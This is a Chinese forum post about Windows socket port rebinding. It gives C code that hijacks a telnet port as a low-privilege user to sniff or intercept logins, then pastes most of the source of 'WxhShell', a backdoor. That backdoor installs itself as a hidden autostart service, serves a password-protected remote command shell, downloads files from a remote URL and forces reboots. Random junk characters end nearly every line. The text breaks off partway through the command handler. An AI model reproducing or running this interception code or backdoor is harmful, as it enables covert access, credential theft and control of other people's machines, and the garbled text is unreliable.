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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %Ud.SJ 3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s-y'<(ll  
Pm'.,?"  
  saddr.sin_family = AF_INET; 5 ,g$|,Shv  
`<bCq\+`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =]6_{#Z<  
D_]i/ F%  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); vs* _;vx  
A/ r;;S)%2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 F&-5&'6G+  
gDgP;i d  
  这意味着什么?意味着可以进行如下的攻击: CA'hvXb.  
ZD iW72&Q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %pQdq[J={  
V:$[~)k8  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) t"4Rn<-  
8'>.#vyMGv  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 xy2eJJq  
e=|F(iW  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #IcT @(  
s#4))yUR6Z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )3d:S*ly  
_AA`R`p;  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 bi,rMgW  
c'>8pd  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0^_)OsFA  
a .B\=3xn  
  #include PLl x~A  
  #include #nt<j2}m  
  #include <L[  *hp  
  #include    Zz wZ, (  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9~*_(yjF  
  int main() r5<e}t-  
  { rGP? E3  
  WORD wVersionRequested; 4p0IBfVG  
  DWORD ret; xX[{E x   
  WSADATA wsaData; +K @J*W 1  
  BOOL val; E}E7VQjM  
  SOCKADDR_IN saddr; !dYX2!lvT  
  SOCKADDR_IN scaddr; %6vMpB`g  
  int err; EC:x  ,i  
  SOCKET s; sP=2NqU3Q  
  SOCKET sc; BUboP?#%)  
  int caddsize; KG7X8AaK#  
  HANDLE mt; Qt)7mf  
  DWORD tid;   t~udfOvY  
  wVersionRequested = MAKEWORD( 2, 2 ); H znI R  
  err = WSAStartup( wVersionRequested, &wsaData ); qugPs(uQ  
  if ( err != 0 ) { +$Ddd`J'  
  printf("error!WSAStartup failed!\n"); oC;l5v<  
  return -1; ^[SbV^DOL  
  } gw*yIZ@3)  
  saddr.sin_family = AF_INET; =!Baz&#}  
   gs)%.k[BqG  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 GHJQ d&G8G  
:ok!,QN  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); fNmG`Ke  
  saddr.sin_port = htons(23); %K/G+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bE%mgaOh  
  { QvT-&|  
  printf("error!socket failed!\n"); jn#N7%{Mk  
  return -1;  G> 5=`  
  } z.\[Va$@l  
  val = TRUE; '+GVozc6c"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <yb=!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) HtS1N}@  
  { rVIb'sa  
  printf("error!setsockopt failed!\n"); /s-jR]#VA  
  return -1; 5O4&BxQ~}  
  } q#':aXcv"  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; LU 5 `!0m  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 hBs>2u|z9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 EZa{C}NQ$2  
QL|:(QM  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) E|6Z]6[  
  { kcZ;SYosj  
  ret=GetLastError(); -qnXa  
  printf("error!bind failed!\n"); %i JU)N!  
  return -1; OD2ai]!v+  
  } :pV("tHE  
  listen(s,2); PK|`}z9  
  while(1) J.+?*hcw  
  { M,v@G$pW  
  caddsize = sizeof(scaddr); VNh,pQ(  
  //接受连接请求 [F9KC^%S  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); N!4xP.Ps  
  if(sc!=INVALID_SOCKET) iTtAj~dfZ  
  { XiZ Zo  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2+G:04eS,e  
  if(mt==NULL) He$mu=$q{  
  { hU)f(L  
  printf("Thread Creat Failed!\n"); l$bmO{8uG  
  break; NiQc2\4%  
  } e&]`X HC9  
  } W:N"O\`{m  
  CloseHandle(mt); lCs8`bYU  
  } K]=>F  
  closesocket(s); wW)&Px n  
  WSACleanup(); `peJ s~V  
  return 0; IUBps0.T\  
  }   wx?{|  
  DWORD WINAPI ClientThread(LPVOID lpParam) a[{QlD^D  
  { 7>e~i,  
  SOCKET ss = (SOCKET)lpParam; Y=wP3q  
  SOCKET sc; @_weMz8}  
  unsigned char buf[4096]; yK2*~T,6@  
  SOCKADDR_IN saddr; 7{/:,  
  long num; :e9jK[)h0  
  DWORD val; 8T1DcA*  
  DWORD ret; A?Hjz%EcW  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Wx\"wlJ7.3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   x /Ky: Ky  
  saddr.sin_family = AF_INET; G cLp"  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); NByN}e  
  saddr.sin_port = htons(23); g)G7 kB/<p  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) SO jDtZ  
  { ~uD;_Y=u)r  
  printf("error!socket failed!\n"); dvdBRrf  
  return -1; DEeL 48{R  
  } xo"4mbTV  
  val = 100; 0bQiUcg/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e hB1`%@  
  {  ,IvnNnl2  
  ret = GetLastError(); <OO/Tn'a  
  return -1; oG_'<5Bv>  
  } $@f3=NJ4k  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) aw@Aoq  
  { UDi3dH=  
  ret = GetLastError(); rM?Dp2  
  return -1; ,/?V+3l  
  } aFm]?75  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) d4eCBqx  
  { rL+n$p X-  
  printf("error!socket connect failed!\n"); 7 V1k$S(  
  closesocket(sc); Vv"wf;#  
  closesocket(ss);  $.]t1e7s  
  return -1; ,,j=RG_  
  } D/6@bcCSY  
  while(1) m_U6"\n 5  
  { z=h5  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 a} fS2He  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8gKR<X.G  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 PY:#F|uHS`  
  num = recv(ss,buf,4096,0); fvAV[9/-  
  if(num>0) )mO;l/,0  
  send(sc,buf,num,0); |+=:x]#vV  
  else if(num==0) <T% hfW  
  break; XI(@O)  
  num = recv(sc,buf,4096,0); h sw My  
  if(num>0) cj_?*  
  send(ss,buf,num,0); *A9{H>Vq  
  else if(num==0) +Y^F>/4=Y  
  break; ^znv[  
  } [(UqPd$  
  closesocket(ss); k{w^MOHNg  
  closesocket(sc); 3a[(GW _  
  return 0 ; 64j 4P 7  
  } ovoI~k'  
eii7pbc  
m%(JRh  
========================================================== `A{~}6jw  
)Ua2x@j'C@  
下边附上一个代码,,WXhSHELL z4+6k-#):  
p00Bgo  
========================================================== ]4~D;mv  
M !XFb  
#include "stdafx.h" _SW a3O#'  
Br^b%12ZRS  
#include <stdio.h> Llc|j&yHQ  
#include <string.h> >f05+%^[  
#include <windows.h> pXlBKJmW  
#include <winsock2.h> ` i^1U O  
#include <winsvc.h> "J:NW_U  
#include <urlmon.h> )H, <i{80c  
 M!DoR6  
#pragma comment (lib, "Ws2_32.lib") nhhJUN?8  
#pragma comment (lib, "urlmon.lib") Kqu7DZ+W  
0J-ux"kfI  
#define MAX_USER   100 // 最大客户端连接数 WbzL!zLd!  
#define BUF_SOCK   200 // sock buffer s1apHwJ -  
#define KEY_BUFF   255 // 输入 buffer ;-Dd\\)p  
S^n4aBm\+  
#define REBOOT     0   // 重启 }4MG114j  
#define SHUTDOWN   1   // 关机 +!Ag n)  
?6]ZQ\,  
#define DEF_PORT   5000 // 监听端口 |OT%,QT|  
;mxT >|z  
#define REG_LEN     16   // 注册表键长度 `IQC\DSl/  
#define SVC_LEN     80   // NT服务名长度 _ILOA]ga#  
SO<K#HfE$?  
// 从dll定义API Lcb5 9Cs6e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L6 # d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); UVU*5U~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mpAh'f4$*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); LMzYsXG*[  
J(VZa_  
// wxhshell配置信息 ebVfny$D  
struct WSCFG { *Yjs$'_2  
  int ws_port;         // 监听端口 [B<{3*R_  
  char ws_passstr[REG_LEN]; // 口令 ]F-6KeBc  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9'aR-tFun;  
  char ws_regname[REG_LEN]; // 注册表键名 }}2hI`   
  char ws_svcname[REG_LEN]; // 服务名 \$UU/\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z|wDM^Lf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 IT33E%G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 NU*6iLIq|F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]g!<5 w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V1qHl5"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <v^.FxId  
-e\kIK %  
}; lv&wp@  
&bx,6dX  
// default Wxhshell configuration _erH]E| [  
struct WSCFG wscfg={DEF_PORT, LEa:{s<:  
    "xuhuanlingzhe", NtL?cWct  
    1, emO!6]0gJ  
    "Wxhshell", H9[.#+ln  
    "Wxhshell", _{);n$`  
            "WxhShell Service", P=z':4,M}  
    "Wrsky Windows CmdShell Service", j* ?MFvwE  
    "Please Input Your Password: ", [_Z3v,vt,  
  1, <[~M|OL9q,  
  "http://www.wrsky.com/wxhshell.exe", IrM3Uh  
  "Wxhshell.exe" kS!*kk*a  
    }; % m$Mn x  
zg"ZXZ  
// 消息定义模块 5%/%i}e~(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2 ARh-zLb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3Mt6iZW  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4B(qVf&M  
char *msg_ws_ext="\n\rExit."; BpE[9N  
char *msg_ws_end="\n\rQuit."; ?2c:|FD  
char *msg_ws_boot="\n\rReboot..."; $5O&[/L  
char *msg_ws_poff="\n\rShutdown..."; A;PV,2|X  
char *msg_ws_down="\n\rSave to "; _JoA=< O!  
Yuck]?#0  
char *msg_ws_err="\n\rErr!"; 7T78S&g  
char *msg_ws_ok="\n\rOK!"; r]{:{Z  
T;7|d5][  
char ExeFile[MAX_PATH]; 8a1{x(\z.  
int nUser = 0; i ib-\j4d  
HANDLE handles[MAX_USER]; d4tVK0 ~  
int OsIsNt; $>Do&TU   
p! 1zhD  
SERVICE_STATUS       serviceStatus; 2Hj]QN7"   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vzPrG%Uu7g  
-K4RQ{=>UZ  
// 函数声明 " 8v  
int Install(void); +bU(-yRy5o  
int Uninstall(void); YTsn;3d]}  
int DownloadFile(char *sURL, SOCKET wsh); XZJx3!~fm  
int Boot(int flag); 5@\<:Zmi  
void HideProc(void); dfce/QOV  
int GetOsVer(void); EY(4 <;)  
int Wxhshell(SOCKET wsl); NKN!X/P  
void TalkWithClient(void *cs); Ns{4BM6j  
int CmdShell(SOCKET sock); 4BX*-t  
int StartFromService(void); IFe[3mB5  
int StartWxhshell(LPSTR lpCmdLine); -#h \8Xl  
lU3wIB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u5,<.#EVY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); JM0)x}] +  
_Yv9u'q"  
// 数据结构和表定义 J<D =\  
SERVICE_TABLE_ENTRY DispatchTable[] = 3@SfCG&|e  
{ pK%'S  
{wscfg.ws_svcname, NTServiceMain}, ! >V 1zk  
{NULL, NULL} NaIVKo  
}; 3dfSu'  
+{&g|V  
// 自我安装 |RdSrVB  
int Install(void) 2*N# %ZUX  
{ '=xl}v  
  char svExeFile[MAX_PATH]; "wc $'7M  
  HKEY key; ~j_H2+!  
  strcpy(svExeFile,ExeFile); dx#N)?  
pw8'+FX  
// 如果是win9x系统,修改注册表设为自启动 a?dM8zAnc  
if(!OsIsNt) { TM9>r :j'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G1BVI:A&S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dBkB9nz  
  RegCloseKey(key); Z2r\aZ-d`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6Z 7$ZQ~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b`' ;`*AN+  
  RegCloseKey(key); Mmn[ol  
  return 0; ) PtaX|U  
    } ]d0Dd")n  
  } e3.TGv7=  
} .,4&/cd  
else { !&kOqc5:t<  
>ObpOFb%  
// 如果是NT以上系统,安装为系统服务 S<44{ oH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x<"e  
if (schSCManager!=0) vv3?ewr y  
{ `|4{|X*U.  
  SC_HANDLE schService = CreateService r+n&Pp+9  
  ( G{<wXxq%  
  schSCManager, #gq3 e  
  wscfg.ws_svcname, tpS F[W  
  wscfg.ws_svcdisp, BFY~::<b  
  SERVICE_ALL_ACCESS, R_csKj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4)?c[aC4P  
  SERVICE_AUTO_START, 'W)x<Iey1  
  SERVICE_ERROR_NORMAL, %rYt; 7B  
  svExeFile, Mg].#  
  NULL, iV%% VR8b  
  NULL, G:UdU{  
  NULL, K% ;O$ >  
  NULL, !zeBxR$&o  
  NULL Adh CC13B  
  ); IkupW|}rc  
  if (schService!=0) x&sF_<[  
  { ({)_[dJ'  
  CloseServiceHandle(schService); q /#O :Q  
  CloseServiceHandle(schSCManager); $O[ut.   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ( %bfNs|  
  strcat(svExeFile,wscfg.ws_svcname); RZ -w,~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6eb5q/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^T" A9uaG  
  RegCloseKey(key); zx^)Qb/EL6  
  return 0; IQ\`n|  
    } 7Sokn?~i  
  } ~V<je b  
  CloseServiceHandle(schSCManager); ;^;5"n h  
} Zhw _L  
} *op7:o_  
N24+P5  
return 1; ]HRE-g  
} gpPktp2  
U+W8)7bc  
// 自我卸载 /c09-$M  
int Uninstall(void) dX<UruPA  
{ (7"qT^s3  
  HKEY key; i"r=b%;;  
='s2S5#1  
if(!OsIsNt) { G|o-C:~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z-WWp#b  
  RegDeleteValue(key,wscfg.ws_regname); q,2 @X~T  
  RegCloseKey(key); P9c1NX\-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  iGR(  
  RegDeleteValue(key,wscfg.ws_regname); bf3)^ 49}  
  RegCloseKey(key); bw@tA7Y  
  return 0; 8F%T Z M  
  } SN11J+  
} &c A?|(7-  
} u*"tZ+|m  
else { yfV{2[8ux  
s4w<X}O_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q_ $AGF  
if (schSCManager!=0) hcej?W8j  
{ :yv!  x  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  3o/f#y  
  if (schService!=0) uH`ds+Hp  
  { aPWFb.JO4  
  if(DeleteService(schService)!=0) { @NO&3m]  
  CloseServiceHandle(schService); 7"M7N^  
  CloseServiceHandle(schSCManager); }L@YLnc%  
  return 0; E_$ ST3  
  } BWd?a6nU}  
  CloseServiceHandle(schService); -cG?lEh <  
  } B3K%V|;z )  
  CloseServiceHandle(schSCManager); ]SK(cfA`  
} e{"d6pF=  
} lk8VJ~2d  
YTY0N5["  
return 1; IUzRE?Kzf  
} L&l> ?"_  
`OduBUI]]  
// 从指定url下载文件 Y5K!DMK Y  
int DownloadFile(char *sURL, SOCKET wsh) ')_jK',1  
{ AX6e}-S1n  
  HRESULT hr; I(<1-3~  
char seps[]= "/"; eK]GyY/Y  
char *token; Z$2mVRS`c  
char *file; )M1.>?b  
char myURL[MAX_PATH]; K":- zS  
char myFILE[MAX_PATH]; kD2MqR>  
L[IjzxUv  
strcpy(myURL,sURL); !zD| @sX{  
  token=strtok(myURL,seps); _w)0r}{  
  while(token!=NULL) U; ev3  
  { #LF_*a0v  
    file=token; 1`b?nX  
  token=strtok(NULL,seps); 75<E0O  
  } G.L4l|%W  
hd+JKh!u  
GetCurrentDirectory(MAX_PATH,myFILE); F/mD05{  
strcat(myFILE, "\\"); 8amtTM  
strcat(myFILE, file); 594$X@ !v  
  send(wsh,myFILE,strlen(myFILE),0); \,~gA   
send(wsh,"...",3,0); 0\u_ \%[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ; <3w ,r  
  if(hr==S_OK) |U12 fuQ  
return 0; A*W QdY  
else IhUuL0  
return 1; UGl}=hwKkG  
E|#'u^`yv  
} 'tF<7\!  
K&Zdk (l)  
// 系统电源模块 8iq~ha$]|  
int Boot(int flag) jt?R a1Z  
{ z^ ~fVl  
  HANDLE hToken;  Zuwd(q  
  TOKEN_PRIVILEGES tkp; BC&Et62*  
=w,%W^"E  
  if(OsIsNt) { ^1}}-9q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hX_;gR&R  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >C@fSmnOM  
    tkp.PrivilegeCount = 1; GMd81@7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #~nI^ ggW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vrh}X[JEw'  
if(flag==REBOOT) { <PXA`]x~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g`\Vy4w  
  return 0; NeUpl./b  
} %$Mvq&ZZ  
else { PL wa!j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {_PV~8u  
  return 0; cND2(< jx:  
} Wu%;{y~#}  
  } G| ^tqI  
  else { Xo }w$q5  
if(flag==REBOOT) { yU&A[DZQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B-JgXW.\0  
  return 0; CfA F.H  
} S =eP/  
else { *9*6n\~aI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >(*jL  
  return 0; <Eq^r h  
} rXvvJIbi  
}  Ws}u4t  
8ec~"vGLz~  
return 1; (iH5F9WO  
} $O7>E!uVD  
( ]'4_~e  
// win9x进程隐藏模块 eRC@b^~  
void HideProc(void) mi i9eZ  
{ aZ#c_Q#gZ  
si0jXue~j\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  XW`&1qx  
  if ( hKernel != NULL ) ^i#F+Q`1  
  { ;\( wJ{u?Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \Ui8Sgeei  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v:<u0B-)$  
    FreeLibrary(hKernel); j =[Td   
  } g7#_a6  
,!PNfJA2  
return; 8V.x%T  
} 4e1Zyi!  
d(42ob.Tr  
// 获取操作系统版本 O" n/.`  
int GetOsVer(void) P#"vlNa  
{ %F1 Ce/  
  OSVERSIONINFO winfo; m`E8gVC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]@>bz  
  GetVersionEx(&winfo); ]`]m41+w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kQwBrb 4  
  return 1; "?n~ /9`  
  else hZ5h(CQ?"#  
  return 0; ,]1K^UeZ  
} !dStl:B  
`QAotSO+  
// 客户端句柄模块 "P'W@  
int Wxhshell(SOCKET wsl) cMI QbBM  
{ G)iV  
  SOCKET wsh; VI[ikNpX  
  struct sockaddr_in client; FG1$_zN |  
  DWORD myID; a4O!q;tu7  
^~8l|d_  
  while(nUser<MAX_USER) #Z(8 vA^@  
{ 8iR%?5 >K  
  int nSize=sizeof(client); w~X1Il7A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ``K.4sG  
  if(wsh==INVALID_SOCKET) return 1; -E?h^J&U  
!~"q$T>@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UvxJ _  
if(handles[nUser]==0) }=az6cLE2  
  closesocket(wsh); 0 B>{31)  
else r68'DJ&m3  
  nUser++; teQ%t~PJ-&  
  } 0=yKE J  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3Q Zw  
$yI!YX&  
  return 0; ; Rt?&&W  
} Skq%S`1%Q  
2Cj?k.Zk  
// 关闭 socket 6*{N{]`WZ)  
void CloseIt(SOCKET wsh) }"2 0:  
{ ,=R->~ J  
closesocket(wsh); % )?$82=2  
nUser--; VLkK6W.u  
ExitThread(0); 6ZR'1_i6i=  
} +wgNuj0=*  
gBf %9F  
// 客户端请求句柄 {{SeD:hx  
void TalkWithClient(void *cs) l%rwJLN1  
{ /t(dhz&xN  
 5!NK  
  SOCKET wsh=(SOCKET)cs; y`!3Z} 7  
  char pwd[SVC_LEN]; f'TdYG  
  char cmd[KEY_BUFF]; =uIu0_v  
char chr[1]; 7.hn@_  
int i,j; zgJ%Zr!~  
%, XyhS5[o  
  while (nUser < MAX_USER) { yv[ s)c}  
W,}HQ  
if(wscfg.ws_passstr) { $ GL$ iA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KaZ$!JfT  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P}KyT?X:  
  //ZeroMemory(pwd,KEY_BUFF); 2~K.m@U}!Z  
      i=0; K9;pX2^z9  
  while(i<SVC_LEN) { 8m2-fuJz  
=ugxPgn  
  // 设置超时 #,0%g 1  
  fd_set FdRead; a)`b;]+9  
  struct timeval TimeOut; 0' @^PzX  
  FD_ZERO(&FdRead); '/Hx0]V  
  FD_SET(wsh,&FdRead); ix=HLF-0zC  
  TimeOut.tv_sec=8; @c9VCG D  
  TimeOut.tv_usec=0; >s1'I:8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bN8GRK )  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kViX FPW  
'@3hU|jO!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k"LbB#Q  
  pwd=chr[0]; e3yBB*@  
  if(chr[0]==0xd || chr[0]==0xa) { CVyqr_n65/  
  pwd=0; +>@<'YI<  
  break; EX~ U(JB6  
  } q1;}~}W;z4  
  i++;  I?.$  
    } 7xb z)FI  
>c|u |^3zt  
  // 如果是非法用户,关闭 socket %J!+f-:=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f.!)O@HzH  
} Rq%g5lK  
?PO~$dUc]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +FP*RNM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YYzj:'  
XnHcU=~q  
while(1) { \`-/\N  
>sv|  
  ZeroMemory(cmd,KEY_BUFF); -%I]Q9  
(A}##h  
      // 自动支持客户端 telnet标准   ;3s_#L  
  j=0; L 5J=+k,  
  while(j<KEY_BUFF) { =cs;avtL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )Fe-C  
  cmd[j]=chr[0]; F0t!k>  
  if(chr[0]==0xa || chr[0]==0xd) { l4I@6@  
  cmd[j]=0; ZTfs&5  
  break; D0Oh,Fe#M\  
  } + G#qS1  
  j++; y ]xG@;4M  
    } :[3{-.c  
A% 9TS/-p  
  // 下载文件 &B1d+.+  
  if(strstr(cmd,"http://")) { ]rO`e N[~U  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )2C_6eR  
  if(DownloadFile(cmd,wsh)) g>_lU vSE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K, ae-#wgb  
  else OW<i"?0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k6_RJ8I  
  } HeZ! "^w  
  else { }#ZQ\[  
%3M(!X:[  
    switch(cmd[0]) { t,4q]Jt  
  AF g*  
  // 帮助 w4H3($ K  
  case '?': { _Pjo9z 9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B @H.O!  
    break; , |CT|2D>  
  } rR@ t5  
  // 安装 ja3wXz$2  
  case 'i': { {}H5%W  
    if(Install()) In#V1[io  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W'hE,  
    else Yv\.QrxPm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); awQ f$  
    break; .?UK`O2Q  
    } <i``#" /  
  // 卸载 3P-qLbJ  
  case 'r': { h7c8K)ntnf  
    if(Uninstall()) :A%uXgK<k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J?&lpsB3_l  
    else 7d*SZmD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ml1yk)3G  
    break; ER~m &JI  
    } 4J Bm|Pf(  
  // 显示 wxhshell 所在路径 >Ip>x!wi  
  case 'p': { Qctm"g|  
    char svExeFile[MAX_PATH]; {y0#(8-&  
    strcpy(svExeFile,"\n\r"); Mt(wy%{zK  
      strcat(svExeFile,ExeFile); $p30?\  
        send(wsh,svExeFile,strlen(svExeFile),0); ]#]|]>& <  
    break; NWd%Za5K;  
    } ( >zXapb2  
  // 重启 /bv `_ >  
  case 'b': { -H5n>j0!{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Wu(6FQ`H  
    if(Boot(REBOOT)) -&I%=0q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w-*$gk]   
    else { t33/QW r  
    closesocket(wsh); uF_gfjR[m  
    ExitThread(0); -e_ IDE  
    } _IBI x\F  
    break; ;|Id g"2  
